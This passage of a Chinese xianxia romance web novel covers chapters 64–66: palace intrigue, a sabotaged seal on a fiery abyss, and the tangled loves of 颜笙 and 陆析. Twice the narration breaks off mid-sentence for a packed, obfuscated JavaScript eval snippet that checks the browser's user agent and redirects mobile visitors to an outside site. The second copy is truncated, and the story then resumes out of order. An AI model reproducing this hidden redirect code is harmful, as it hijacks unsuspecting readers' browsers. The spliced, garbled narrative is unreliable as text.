颜笙余光瞥见那缕青烟,耳畔隐约传来了陆析被压抑到极致的、痛苦的心声。那心声一遍又一遍地唤着她的名字,带着令人心碎的绝望: “我对上神的倾慕,自幼年便已生根。那不仅仅是喜欢,是喜欢之后的,是爱之后的,用任何已知的词语形容都是浅薄的,我............只是……我是陆析。” 64. 生命之源(九) 颜笙听到他这番深情款款的心声,却并未打算改变最初的决定。她强行压下心底翻涌的悸动,逼迫自己想起此刻正躺在显熠宫里病弱的陆贺年。 她冷下声音,只道:“既然崔攸宁已经失宠,我与他的婚约自然作废。你我之间继续履行那份‘情侣合约’,也失去了意义。况且,你说得对,我是该为一些事情负起责任了。” 陆析沉默地注视着她。他清楚自己不是陆归年,自然也没有立场和资格去反驳她的决定。 颜笙终究对他存有几分留恋,语气不由得软了下来,宽慰道:“你这十世修行的功德,下一生也该位列地仙了。今后不必再费心去讨好谁,就像你过去那般清净度日就好。我作为抱朴派信奉的神灵,定会庇佑你。” 陆析却垂下眼眸,自嘲道:“生死簿上连我的名字都没有,我又怎能做得成地仙?上神扯谎的本事,倒真是一如既往。” “一如既往?说得好像你认识我很多年似的。你又不是陆归年!”颜笙像是被戳中了痛处,猛地拔高了音量。 竹楼的木质结构并不隔音。楼上正酣睡的圆胖橘被这声调惊醒,抖了抖耳朵。不过它对这种神仙打架的戏码毫无兴趣,更不打算贴墙角窃听。 圆胖橘心智不高,它理解不了陆析那种“明明喜欢得要命,却偏要将人推开”的拧巴。在它朴素的兽类认知里,这段感情就算始于欺骗又怎样?谁不想在心上人面前伪装成最完美的模样?若是连求偶时的一点细节都要上纲上线地较真,那天下动物干脆都别繁衍了。 它打了个哈欠,用爪子扒开窗缝,灵巧地翻出窗框。四只肉垫稳稳抠住侧旁人面树的树干,借着压弯的树枝缓冲,优雅地跃落地面。 它仰着脖子,一眼便相中了陆析养锦鲤的池子。趁着陆析今日在楼上同人吵架无暇管它,圆胖橘蹑手蹑脚地走过去,刚把前爪探进水里,后颈皮突然一紧,整只猫竟被人凌空拎了起来。 它慌忙转头,对上了一双凶戾如狼的眼睛。 来人是个容貌姣好的中年男子,却蓄着粗犷的乌黑络腮胡,身形比陆析还要高大魁梧,浑身散发着一种能徒手将猛虎撕成两截的危险气息。 圆胖橘吓得浑身一哆嗦。但它深谙“大丈夫能屈能伸”的道理,立刻压抑住内心的羞耻,将毛茸茸的脸颊乖巧地贴向那人满是青筋的手背,只是脸上的软肉仍止不住地因恐惧而轻颤。 “吓着你了。”子幽随手将圆胖橘放回地面,又从袖中摸出一条散发着咸腥味的鱼干搁在它跟前,“权作赔礼。” 圆胖橘凑上前,伸出倒刺舌头舔了舔那条鱼干,余光却始终心虚地瞄着旁边的子幽。那男人正居高临下地看着它,仿佛在看一只毫无尊严的蠢猫。它堂堂第一女上神的亲生子,昔日也曾玉树临风过,如今竟落得这般田地。它觉得眼前这条被风干的咸鱼不是鱼,而是它自己绝望的灵魂。 子幽冲着圆胖橘比了个“噤声”的手势,回头深沉地瞥了一眼竹楼的二层,随后召来一朵云,悄无声息地离开了。 幽冥城,冥王殿。 崔攸霁在殿外等了一炷香的功夫,进去通报的侍从迟迟未归,他索性跨过门槛,自己走了进去。 还未踏入宴饮厅,一股浓烈刺鼻的酒臭味便扑面而来。天道森严,严禁神仙在平日里酗酒,只许在祭祀或孝敬双亲时浅尝辄止。今日非年非节,双亲也好端端地待在桃源境,这酒喝得简直是无视天理伦常。 崔攸霁嫌恶地皱起了眉头。 “晴天——你跑慢些。”厅堂深处传来放浪的嬉闹声。 崔攸霁的脚步猛地顿住,双拳猛然攥紧,指甲深深掐进掌心。 “晴天”,是他的乳名。传闻他出生前,三界淫雨霏霏整整一月;他降生那一刻,云销雨霁,天放晴光。母亲以此为他取正名“霁”,乳名唤作“晴天”。 而此刻,他那最隐秘的乳名,竟被他的亲哥哥用来呼唤一个供其取乐的情人。这场景,实在诡谲得令人作呕。 崔攸霁强忍不适走进内厅,只见崔攸宁双眼覆着一条黑绸,正与紫苏仙君在席间追逐嬉戏。更让他心底发寒的是,紫苏仙君竟施了幻术,打扮成了崔攸霁少年时的模样,只是额前特意留了极长的刘海,半掩住自己原本的面容。 紫苏仙君本非俊美男仙,却精通乔装易容之术。崔攸霁早听闻他私下会扮作自己的模样固宠,如今亲眼目睹,再配上兄长口中那一声声甜腻的“晴天”,这等荒诞的画面带来的冲击依然难以言表。 崔家人,果然个个都是疯子。 崔攸霁一刻也不想多待,奈何身上背着父亲的交代。他木然地站在原地,冷声开口:“兄长,该停手了。” 崔攸宁却不理会,依旧戴着眼罩在黑暗中摸索,猛地一把抱住崔攸霁的腰身,轻笑道:“抓到你了。” 下一瞬,眼罩被崔攸霁毫不留情地一把扯下,死死攥在手里。 崔攸宁重获光明,瞧见崔攸霁阴沉的脸色,心知扫了兴,便挥了挥手,将身旁的紫苏仙君遣退。 崔攸霁嫌恶地挣脱他的怀抱,连表面上兄友弟恭的戏码都懒得演,只硬邦邦地行了个礼:“二哥。” “又是崔巍派你来的?”崔攸宁眼底闪过一丝不耐烦。 “父亲说,如今无常界遭遇天灾,二哥身为无常之主,理应出面安抚民心。况且,那泥菩萨皓然已在太碧山寻得新源头,近日正率领众多灾民开凿河渠。一旦水路贯通,他的威望必将如日中天,只怕会动摇你在无常界的根基。” 崔攸宁懒散地跌坐回宽大的王座,满不在乎地把玩着酒樽:“他竟然复活了?” 崔攸霁点头:“听瑶儿说,是颜笙上神用自己的血肉重新为他塑了身。” 崔攸宁嗤笑一声,撇了撇嘴:“泥菩萨过江,自身难保。土做的东西,本王用水淹了便是。”说罢,他不耐烦地摆摆手示意崔攸霁退下,举起酒壶,仰头将那醉生梦死的烈酒直灌入喉。 末了,他抹了一把嘴角的酒渍,冷笑道:“本王倒要看看,这尊重新捏起来的泥菩萨,能经得起几波风浪。” 话音未落,他手中的酒盅竟被崔攸霁一把夺下。 崔攸宁眯起眼睛,语气转冷:“你逾越了。” 崔攸霁丝毫不退让:“骄兵必败。更何况,颜皓然是陆家老冥王亲手教导出来的正统。以你如今这般聚众酗酒、屡行不义的做派,他若真掌了权,奉行天道律法,第一刀砍的就是你的脖子!” 听闻此言,崔攸宁那双迷离的醉眼微微挑起,带着几分轻佻与戏谑看向弟弟:“怎么,晴天,你这般动怒,是在乎我的生死?” 崔攸霁紧紧闭上嘴,不敢接话,生怕稍有不慎,又被这疯子曲解了用意。 他们兄弟二人走到今日这般畸形的境地,看似荒谬绝伦,细想之下却又满是逻辑。若非二哥对他一直抱有这等不可告人的龌龊心思、时刻监视他的动向,当年大哥将他推下诛仙台那千钧一发之际,二哥又怎会如天降般及时赶到,甚至不惜豁出性命随他一同跳下去? 只是当年,他不敢往深处细想罢了。 崔攸霁不免有些自惭,他以为装糊涂就能蒙混过去,毕竟所有人都是变态,没有人会在疯人院里追求正常的伦理秩序,在疯人院里,正常人才是疯子。 崔攸宁见他沉默,忽然低低地笑了:“晴天,你可知爱与恨,本就是同源而生。有时爱得太久、太绝望,就会异化成恨;而恨得太久……才会猛然惊觉,那依旧是爱。” “崔攸宁!”崔攸霁厉声打断了他。一向温和隐忍的他,罕见地动了真怒,“你清醒一点!我们是兄弟,是血脉相连、同父同母的亲兄弟!” “我早就不想做你的兄弟了!”崔攸宁猛地站起身,眼中布满血丝,“世人都说欠债还钱,你这条命是我救回来的!你欠我的债,时至今日都不曾还清半点!” 他步步紧逼,声音近乎嘶吼:“我究竟哪里比不上那个废物姚蜚声?就因为我是个男子,因为我是你哥哥?世间的情爱,为何非要被那可笑的天道伦常死死框住!男子便非要阳刚,女子便只能温婉顺从?颜笙一介女流尚能以武力强压桃源境,紫苏身为男仙亦能有绕指柔情,我们凭什么要给这群伪善的世俗礼法做陪葬!” 大厅内陷入了死一般的死寂。 良久,崔攸霁深深地叹了一口气,语气中满是疲惫与哀求:“人无伦理,与野兽何异?而我……也需要一个哥哥。” 他看着眼前近乎癫狂的崔攸宁,缓缓说道:“家里那些兄弟,皆被大哥暗害;而大哥,又因父亲而死。诺大的崔家,真正活着的同胞兄弟,就只剩下你我二人了。二哥,我不想连这世上唯一的兄弟也失去。” 丢下这句话,崔攸霁转过身,头也不回地大步离去。 崔攸宁僵立在原地,深深地吸了一口气,仿佛想将空气中残存的属于弟弟的气息全部纳入口中。脑海中一遍遍回放着刚才的对话,那句“需要一个哥哥”如一记重锤砸在他心口。他终于明白,有些妄念,注定只能是梦幻泡影。 一股难以名状的暴躁与绝望涌上心头。他猛地一挥衣袖,将长桌上的杯盘珍馐尽数掀翻。玉盏碎裂,酒液四溅,残羹冷炙毫不留情地玷污了铺在地上的名贵灵狐绒毯。 次日清晨。 酒醒后的崔攸宁终于恢复了理智,采纳了崔攸霁的建言,决定亲自带队前往太碧山安抚灾民。他命人翻开黄历,草草定下了一个临近的“黄道吉日”,便吩咐紫苏仙君着手筹备出行的仪仗。 而此时的太碧山,寻得水源的消息已不胫而走。无常界各城池的幽魂听闻此讯,纷纷自发地扛起铁锹镐头,如潮水般涌向太碧山,加入了浩浩荡荡的清淤队伍。 崔攸宁要莅临太碧山视察的消息,提前三日便送达了山中。 到了那一日,崔攸宁特意换上一身彰显冥王威仪的九章法服,率领百余名全副武装的随从,浩浩荡荡地开进太碧山。名义上是“慰问赈灾”,实则不过是为了摆阔立威。 然而,车驾一路行进,想象中夹道欢迎的盛况并未出现,甚至连个执勤清道的官差都没有。漫山遍野的幽魂皆在热火朝天、灰头土脸地挖渠运土,根本无暇多看这位衣着光鲜的无常之主一眼。 紫苏仙君骑在马上,凑近崔攸宁耳边低语:“殿下,看来这泥菩萨是仗着人多势众,有意在怠慢您呢。” 崔攸宁本就憋着一肚子火,闻言脸色一沉,当即招手唤来近侍,冷酷地下令:“去,随便抓几个带头的砍了,给本王杀鸡儆猴。” “殿下且慢。”紫苏赶忙拦下侍卫,再次压低声音道,“您若是此时动了刀子,虽能一时震慑百鬼,却恰好成了凸显他颜皓然仁慈爱民的对照组。这岂不是白白将民心拱手送给他?” 崔攸宁蹙眉深思,觉得确有几分道理。争权夺势,民心为本,不能舍本逐末,便反问道:“依爱卿之见,本王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226785|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该如何兵不血刃地夺回这人心?” 紫苏眼波流转,如水面浮光般闪过一抹狡黠。他轻轻舔了舔薄唇,胸有成竹道:“颜皓然收买人心,靠的是一张嘴和所谓的‘大义’,叫这群牛马白干活却不给半块灵石的工钱,全凭良心发电。可臣偏偏不信,这世上有多少良心,能抵挡得住真金白银的诱惑。” 两人在车驾上耳语了一番,紫苏将一条毒计和盘托出。崔攸宁听罢,阴郁的脸上终于阴云散尽,仰头哈哈大笑,一把将紫苏揽入怀中。 次日正午。 太碧山上的幽魂们正顶着烈日劳作,山脚处的工地上,一头体型庞大的猪妖突然哀嚎一声,“中暑”倒地,口吐白沫。周围的幽魂见状,纷纷丢下工具围拢过去,场面顿时乱作一团。 “出事了!快去上游通知泥菩萨——”有热心的鬼魂大喊着要去报信。 地上那头原本奄奄一息的猪妖,却悄咪咪地睁开一条眼缝,瞥向人群外围。外圈几只混在其中的小妖互相对了个眼神,心领神会。 一只獐头鼠目的妖怪立刻跳出来,拦住了那名要去报信的鬼魂,阴阳怪气地嚷嚷:“报他有什么用?他除了叫咱们‘哪凉快哪待着去’,还能变出钱来给你抓药看病吗?他可曾发过咱们半块灵石的工钱?” 一石激起千层浪,人群中立刻有托儿开始附和:“就是说啊!当初给冥王殿翻修那破围墙,好歹冥王还给结了五颗灵石的辛苦费。现在倒好,天天在这儿啃泥巴,纯属白干?” “泥菩萨真是好算计啊。自己一个子儿不出,等咱们把这河渠修通了,这造福万民的天大名声,不全落在他一个人头上了吗?” “哼!他连冥王殿的副职都弄丢了,我看哪,他迟早要变成第二个马大隆!人家做的是‘人民资本家’,咱们这些卖苦力的,全是他向上爬的垫脚石!” 这话的杀伤力,比单纯的挑拨离间要大得多。毕竟在这牛马城中,马大隆拥有无数狂热的“反智”信徒。一听有人拿他们的精神导师开涮,几个粗脖子信徒当场就急了,红着眼直接抡起镐头和那几个小妖干起了架。 火星落入干柴,冲突瞬间升级。越来越多的鬼魂被卷入混战,原本井然有序的下游工地,彻底演变成了一场全武行。 混乱的消息顺着山道一路传到上游。等颜皓然接到禀报赶来时,整个太碧山脚已是一片乌烟瘴气。 而同一时间,远在桃源境鹤冲山上的陆析,正双手死死捂着太阳穴,痛苦地佝偻着身子。 自从那晚与颜笙决裂后,他便一直心神不宁,脑海中属于“陆归年”的记忆犹如决堤的洪水般疯狂涌现。可诡异的是,这些新涌现的画面,竟与他从前看到的那些截然相反! 在这些光怪陆离的新记忆里,子颜及笄后,竟顺理成章地嫁给了陆贺年为正妻,成了他名正言顺的嫂嫂。后来,陆贺年依旧短命早逝,子颜顺势登上了太后之位。她与权倾朝野的摄政王陆归年暗中联手,以血腥手段清洗了陆家其余争权的兄弟。可就在事成之后,这位年轻狠辣的太后,却将陆归年犹如破鞋般弃之如敝履…… 不对劲。 这段记忆,从未在现实中真实发生过! 难道是因为自己近期执念太深,又失去了颜笙,导致心魔丛生,分裂出了这种荒诞的妄想? 陆析痛苦地闭上双眼,两种截然相反的极端情感正在疯狂撕扯着他的神枢。 一重记忆里,他对那个女人爱入骨髓,愿为她神魂俱灭;另一重记忆里,他却对那个女人恨之入骨,恨不能将其挫骨扬灰。爱与恨,明明是天平两端的情感,在此刻却浓烈得惊人相似,它们交织在一起,化作一道烙印在灵魂深处的相思咒,无计可消除。 到最后,他甚至连自己究竟是谁都分不清了。 他分不清自己是陆析还是陆归年。 更分不清自己对颜笙,到底是爱,还是恨。 胸口像压着一块巨石,闷得令人窒息。这种强烈的情感冲撞让陆析头晕目眩,迫切地想要喘口气。一想到那个女人的神像此刻正安安静静地立在二楼的案头上,隔着千山万水依旧能把他的心境搅得天翻地覆,他就觉得命运何其不公。 鬼使神差般,他拖着沉重的步伐,踏上了通往二楼的木梯。 等脑中的剧痛稍稍平息,他才发现自己已经不知不觉地站在了圆胖橘的房门前。 屋内空无一人。陆析转头望向半开的雕花窗,只见圆胖橘正站在外面的树枝上,和前来送药的崔瑶手舞足蹈地比划着什么——估摸着又是到了每月领延寿丹分例的日子了。 过去在鹤冲山时,陆归年就没少撞见这场面,通常都是睁一只眼闭一只眼。此刻的陆析也同样装作没看见。他径直走进屋,拿起案头那尊颜笙的木雕神像,鬼迷心窍般,在香炉里点燃了一支清香。 青烟袅袅升起,神像的周身瞬间亮起一层柔和的金光。紧接着,颜笙那带着几分慵懒与傲气的声音,从神像中传了出来: “还算孝顺的小东西。你爹我刚在太碧山给那个泥人解决完一场暴动,累得慌,今天就不去混沌界陪你玩了。要是缺什么少了什么,找瑶儿要去……” 她显然是把点香的人当成了圆胖橘。 陆析喉结滚了滚,声音沙哑得不像话:“颜笙上神,是我。” 话音未落,神像上的金光犹如被冷水泼灭般瞬间消散。 那边的声音,也就此戛然而止。 65. 胡作非为 崔攸宁在太碧山下的凉亭里等消息,上一次来报还说下游混乱,但迟迟未见有任何魂灵下山。这会儿夕阳西沉,那群挖河道的魂灵也即将收工。 过了一会儿他才接到禀报,说颜笙突然下了凡,揪出了那几位闹事的猪妖,还亲手烧成烤肉,助力他们去投胎。 那几只猪妖恰是紫苏仙君的远房亲戚,五花肉衬紫苏叶,倒真成了一场“过命”的交情。紫苏仙君听罢,差点晕过去。所谓执行正义,很难不夹杂着特权,可惜在无常界,由于两种思想长年割裂,已经形成了非黑即白的共识。即便颜笙草率决定了紫苏那几位亲戚的生死,也无人去追究什么程序正义。 紫苏想到这里忿忿不平。他最早是不甘于和亲戚们一同沦为神仙的盘中餐,才会拼命挣扎。可渐渐地,他傍上了崔攸宁,拥有了生命的保障,便想要追求得更多,到最后却赔上了族人的性命,突然间觉得生活失去了意义。 可他还要独自挣扎着。 他心底骤然生出一个念头:想要所有人为他这“生而为草”的悲哀人生负责。 线人继续禀报,那伙人知道是崔攸宁和紫苏惹的事,但由于崔攸霁向颜笙求情,又给显熠宫赔了不少灵石,她这才放了他们一马。 可崔攸霁虽为崔攸宁平息事端,却始终没有现身,像是有意回避他,只给他留了一张字条。 崔攸宁打开崔攸霁留下的字条,看见上面写着:“兄长,适可而止。”他登时气血翻涌,呕出一口心头血。 紫苏心思玲珑,惯会伺候人,早看穿了崔攸霁在崔攸宁心中,是犹如胸口朱砂痣般的存在。他也知道,崔攸宁听了那颗“朱砂痣”的话,八成是要收手。 可紫苏怎肯放弃?尤其是闻见山头悠悠飘来的黑猪肉香,他恨这些神灵恨得几乎要把银牙咬碎。凭什么神仙就高妖兽一等,凭什么紫苏和五花肉就该是他们的盘中餐? 他装作若无其事,柔声劝道:“都投入了这么多,这会儿收手岂不可惜?那群鬼怪未必真心认同您的话,只是眼下水源短缺,他们暂不敢有二心罢了。” “你的意思是,等这条河道挖通,他们便会起争执?”崔攸宁歪头询问。 紫苏点头,笑着说:“他们没有冲突,我们可以自己找点冲突。” 崔攸宁悲观地表示:“整个无常界都臣服于泥菩萨皓然,等河道修好了,他们怕是更团结了。” 紫苏撩起眼皮望向远处的幽冥,又转头看向崔攸宁,说道:“总不可能无常界所有人都臣服吧,总还有些水源并未受影响的地方。” “你是说,幽冥?”崔攸宁琢磨着行不通,这些年不是没想过收买幽冥城的人,奈何这地方的人极其护短。颜笙可是纯血玄鸟裔,世间谁能比她更有优势? 紫苏噗嗤一笑:“那地方已经被颜笙攻克,皓然为她亲手所造,自然继承了这种优势。殿下再去是自取其辱。” 崔攸宁被怼得哑口无言,登时有些恼怒。不过紫苏也并非全说风凉话打击己方信心,他指了指幽冥方向的一座火山:“殿下看看那里。” 火山正往外冒着烟,那地方是陀铃火渊。 那也就是传闻中三界罪大恶极之人受刑之地。里面资源匮乏,魂灵们遵循着弱肉强食的法则,一旦进去了,基本很难再活着出来。 紫苏幽幽道:“外头都传,当年陆贺年屠了半个桃源境,闯进陀铃火渊后便尸骨无存。” 崔攸宁冷声反驳:“那是他们不知内情。他当年一直在陀铃火渊里活着,还成为了陀铃火渊的渊主。后来摄魂怪大闹混沌界,他被请到凡间,为人族驱赶摄魂怪,却被人族皇帝恩将仇报。重伤之下回渊,最终被我兄长崔攸险所杀。” 紫苏听着听着,愈发觉得身为妖兽可悲。那些尝到权力滋味的人,所到之处永远伴随着无休止的杀戮。 若是真有那么一个能将三界毁灭的机关,他恐怕马上就会按下去。 而眼下,似乎这个机关就在前方,在陀铃火渊里。 紫苏觑了他一眼,见他凝望着陀铃火渊,知他有所触动,便趁机提议道:“不论真相如何,只要陀铃火渊的封印松动,无常界必乱。就算颜笙来了,怕也要头疼一阵子。” 二人屏退包括心腹在内的诸仆役,一同来到了陀铃火渊前。 崔攸宁施法,陀铃火渊的山峰上浮出一个法阵,呈北斗七星排列。他向其中一个阵眼输入法力,封印瞬间松动了。 登时,山上碎石滚落,山体微现滑坡之势。 一块小石坠落下来,掉进山下不远处的荔枝园里,正好落到正在修剪荔枝枝杈的莲江仙脸上。 莲江仙拿下碎石,在指尖碾了碾。那石头表面温热而粗糙,散发着轻微的臭鸡蛋气味,像是火山岩。通常出现这种情况,就意味着有火山即将爆发。 火山?她立刻想到了陀铃火渊。 莲江仙抬起头,不远处陀铃火渊的山顶处正冒着诡谲的红光。那是陀铃火渊,并非寻常的火山,若是随便爆发,那里面封印的妖兽岂不是全都要跑出来? 可是,陀铃火渊刚才看上去真的像是要爆发了,难不成封印松动了? 莲江仙倒也没当是自己眼花,她迅速变作鲶鱼形态,一头扎进旁边灌溉的水渠,摇着尾巴游到陀铃火渊下方,扬起脑袋查看山上的封印。 封印的法阵亮了,光点倒映在水面,其中有一个阵眼居然完全暗了下去。 男子的声音从河流上方传来:“生有九色鱼鳍的鲶鱼,好漂亮。殿下,我想养一只在后院里。” “世间只有一条九色鳍的鲶鱼。她是子幽的宠妃,莲江仙。” 莲江仙往上一瞥,正撞见相互依偎的崔攸宁和紫苏两人。紫苏仙君的食指正指向她:“莲江仙?她似乎是那位上神落难时,落井下石的那个养母。不过那位睚眦必报,养母应该早被她杀了吧?” 崔攸宁忙对水中施法,一张黑色的渔网从天而降。莲江仙机敏,侧身一跃,在渔网降落前便贴边躲过。 那渔网入水扑空,瞬息之间化作钩头锋利的弯钩,在水下紧紧追随莲江仙。 莲江仙在水中东躲西藏,慌乱中钻入幽冥的排水沟,沿着油腻腻的排污水渠拼命往上游。后面的鱼钩死缠烂打,破水疾追。 游到幽冥城墙根下时,守护结界触发,将鱼钩子死死挡在外面。幽冥城的警报随之响起,城内的守卫立刻出动查看。 守卫们祭出法网,将那钩子截获。姚蜚声匆匆赶来,也将莲江仙从水渠里捞了出来。 莲江仙浑身脏兮兮、湿漉漉的。姚蜚声拿来一条长毛巾,包裹住她的身体,沉声问:“这到底是怎么一回事?” “姚城主!”莲江仙气喘吁吁,半天才喘匀了气,“陀铃火渊的封印破了。有人故意破坏封印!” 姚蜚声一听这话,登时如临大敌。陀铃火渊里面关着的妖兽,遵从优胜劣汰的法则,能活到现在的,修为境界基本已臻化境。以她如今的能力,根本无法抵御。 在无常界中,能对付陀铃火渊那些妖兽的人,也就只有陆贺年了。可他此刻正在显熠宫里养病,她要是去寻人,定是少不了要和颜笙碰面。 但为了无常界的安全,姚蜚声只好压下个人恩怨,去了一趟显熠宫。 姚蜚声专挑了颜笙不在的时间,独自来到显熠宫。 甄婉因近日的风波,被颜笙安排在宫内处理内务。她忙活了一上午,刚出来松松筋骨,恰好瞧见姚蜚声来访。不由分说,她拉着姚蜚声就去了东南角的厢房。 房门一推开,悬在墙头的蝉形纸灯正呼扇着翅膀,散发着温暖而不刺目的光芒。 “仙及,这是师娘听说你要化形,特地为你布置的房间。可惜你化形以后再也不回来了。”甄婉介绍道。 姚蜚声目光望向那盏灯,认出这是来福村夜市上的蝉灯。 灯光星星点点,透出薄薄的灯纸,里面的光芒仿佛永远不会熄灭。她仿佛能看见颜笙站在这里,每晚都准时到来,施法为这盏蝉灯续航。 她脑海中浮现出飞升前的回忆,忆起与颜笙在鹤冲山修行的点点滴滴。世间没有比她们两个更亲密的存在,比起崔攸霁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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颜笙认出这房间是自己的寝室,又见到陆贺年在旁边。为避免误会,她便解释道:“到清凉殿讨债来了。那位冥王成天搞事,给蜚声添麻烦,实在是可气。既然崔老六说是要给他那闯祸的兄长赔罪,我自然不能只和他客套。” 陆贺年温声道:“你不必解释,你们两个千年来都是正常交情。我不是那种不通情理的人。” “哎,蜚声就误会我了,我已经好久没见过她了。”颜笙叹息一声,斜瞪了一眼崔攸霁,“偏偏我还不能揍这老六,怕给他打爽了。” 陆贺年只微笑着点头。 “不说这些了。”颜笙正色道,“你找我是有什么事?” 陆贺年道:“崔攸宁和紫苏解开了陀铃火渊的封印。以我现在的状况,恐怕无法修复。另外,莲江仙被他们发现了,这两天没法回荔枝林,我在想,可否接她到显熠宫避难。” “这……封印的事我自己去就行。至于莲江仙,我派瑶儿去接吧。瑶儿在鹤冲山里,距离幽冥也近一些。” …… 颜笙很快来到了陀铃火渊前。 封印的阵眼黑了一块。颜笙心下思忖:“只毁坏一块,他们倒是没继续拆。恐怕是想等颜皓然河渠竣工后再放出灾祸。” “为了获取威望而置百姓于危险之中,这实乃伪善之举,不义且不吉。”她心头冷笑,双手合拢,正欲打出莲花诀修补封印,却听到草丛附近有异动。 崔瑶也觉察出了逐渐逼近的脚步声,立刻拉着颜笙飞身掠入附近的一棵荔枝树上。繁茂的枝蔓隐去了两人的身形,她们坐在树梢上,注视着不远处那道鬼祟的影子。 那影子渐渐清晰,竟是陆析。 陆析环顾左右,确认四下无人后,便轻弹指尖,凝出一缕淡金色的微光。 光芒似浮光锦般覆盖在阵眼的缺失处,将残破的封印严丝合缝地填补完整。紧接着,他指尖凝出一道剑气,划向虚空,在原有的封印之上,又加盖了一层新的重压。 崔瑶心中惊骇,瞪大眼睛望向颜笙。却见颜笙隐在荔枝树影中,眸光深沉,宛若暴风雨前静立于高枝的鸱鸮,正定定地审视着树下的熟人。 66. 逼婚 陆析挥袖隐去新加上的那道封印,又把这道封印藏到破损的旧封印之后。他凝视了一会儿封印,随后身影在原地隐去。 颜笙和崔瑶接连跳下枝头,走到山壁前面检查封印。 山壁冒起金光,两道封印先后亮起,两人瞧见了陆析后来补上的那一道。崔瑶伸手碰了一下封印,见到封印里闪出绿光,浮现出一行蚯蚓样的字。 这是仙文,写的是:“善积三百,逾厥愆,乃克行。” 这是有条件的封印。大白话就是,善行若能超过三百,且善大于恶,便可从陀铃火渊出去。反之,则出不来。 崔瑶念完最后一个字,有些不解,便望向旁边的上神,问道:“这封印,能是筑基修士干出来的?” 颜笙沉默地思索着,忽而嘴角微微上挑:“这不重要。鹤冲山向来藏龙卧虎。不过这个封印倒是有意思。” 崔瑶观察着颜笙说起陆析时的神情,心中隐隐不安,便问:“善行过三百,又胜过恶行,这都接近成仙的条件了。直接补上封印即可,何必多此一举?恐怕是想吸引您的注意。” 颜笙道:“渊里还有渊生子。他们并未犯下过错,只是继承了父母的罚印。若他们的德行真能到成仙的条件,放他们出来,并无不可。” 崔瑶点头:“渊里也有不少蒙冤的灵魂。说到底,这世间没有绝对的公正,永远有善人在受苦,有恶人逍遥法外。” “所以陆归年升任天道之后,才会重审历年卷宗。到他消失之前,都还没理完。”颜笙提起陆归年,忽而抬头望了一眼那封印,又道,“附条件的封印,这种封印法,我只在陆归年那里见过。” 崔瑶沉吟良久。义母在谈及陆归年的态度,显然与谈起旁的男子不同。若任由事态野蛮生长,恐会伤着义父。她思前想后,终究将心中的疑虑开诚布公:“假如他真是陆归年,您可要离开我义父?” 颜笙沉默半晌,只是笑道:“如今陆归年不在,这个假设不成立。” 明眼人都看得出她有意回避,崔瑶更是忧心。她回去后,悄悄将此事告诉了陆贺年,他却只叫崔瑶莫要对旁人多言。 陆贺年近来烦心的,可不只是远在天边的陆归年一魂,单是搬来显熠宫暂住的莲江仙,就足够他头疼一阵。莲江仙对他成见极深,两人常因生活琐事起争执。 这类问题到最后,多半要颜笙出面调和。久而久之,颜笙也倦了,干脆去书房安寝。 不过,颜笙烦心的事不止这一桩。 近来她赠予圆胖橘的那尊神像前,总能见到陆析前来祈愿。显然陆析想见她一面,可她已经在这对兄弟之间做了抉择,也不好再三心二意。 * 幽冥城内。 姚蜚声邀请马大隆和马五福两人,到幽冥城中一叙。 三人到齐后,姚蜚声也不多客套,开门见山地表示:“如今泥菩萨皓然的引水工程已成大半,河道畅通也不过是月内之事。你们的净化工程开工在先,工程又不似他那般复杂,不如也在月内竣工了。” 马大隆立刻答道:“能为牛马城尽一分力,自然要去!” 马五福双臂抱胸,斜了一眼马大隆,哂笑道:“先前不肯治污,是舍不得耗自家钱,只会找借口推三阻四,指望冥王出资治理。如今眼见冥王殿快要倒了,没路可走了,才想到要与我合作。” 马大隆也不辩解,只承认道:“从前老冥王在位时,冥王殿尚肯为灾民提供援助。如今的冥王殿根本不管牛马死活,水枯竭了快半年,崔攸宁还窝在冥王殿内夜夜笙歌。” “我说,你们两个也别一个唱红脸一个唱白脸了,不都是一伙的?”门外传来女子的声音。 姚蜚声起身开门,她躲避许久的颜笙便站在外头,朝她点了点头。 屋内气氛一滞,谁也没料到,避而不见的颜笙竟会在这时开门而入。 颜笙进屋后,径直走到马五福与马大隆当中,双手一左一右按在两人肩上,笑眯眯地道:“我就说,之前马小灵那点事,也值得弄得这般复杂?公马母马都能做赛马,何至于闹得这般难看?后来我查了一查,原来是马老板以女儿闺蜜的名义放出任务,故意引我介入。” 她丢出一卷画轴,画中人正是先前打过交道的马凉。画上是一张商界的合照:马大隆站在去年竣工的度假村中,身侧便是马五福,两人举杯相对,看着半点不像外头传的那般势同水火。 颜笙道:“马凉还在一旁题了字‘世人皆醉我独醒’。估摸着他也是最近才晓得,城内知名的死对头,私底下竟是这般亲密的盟友。” 马五福肩膀微微抖动。马大隆年岁较长,倒是气定神闲,举起茶杯慢慢饮了一口,道:“这只说明我与她交情尚可,我哪敢算计上神。我委托的是抱朴派,那是颜笙上神为了自己的面首陆析,才肯自愿加入的。” “马老板消息倒是灵通,还知道陆析。”颜笙笑了笑,“你故意往抱朴派散布流言,说我与陆析的事,又指使那懒徒金建果请缨,让旁人都以为到你这里接任务最容易,黍三刀这才把陆析安排来此。” “只不过,我和陆析倒没有你想得那般深厚的情谊。” “花否那玻璃球里的东西,不就是上神想要的?”马大隆笑道,“报酬都奉上了,总不能叫您白拿好处,不替我们解忧吧?据我所知,现任冥王和您不对付。” 颜笙道:“不必你说,我也会处理冥王殿。他立下保证不来招惹显熠宫,却屡次三番挑衅,我自然不会让他好过。你们两个先回去吧,我有事同姚城主单独说。” 马大隆与马五福告辞离去。 屋内只剩两人,颜笙才对姚蜚声开口:“你和崔攸霁到底怎么回事?怎么一个个都好像对我有意见似的?” * 几日后。 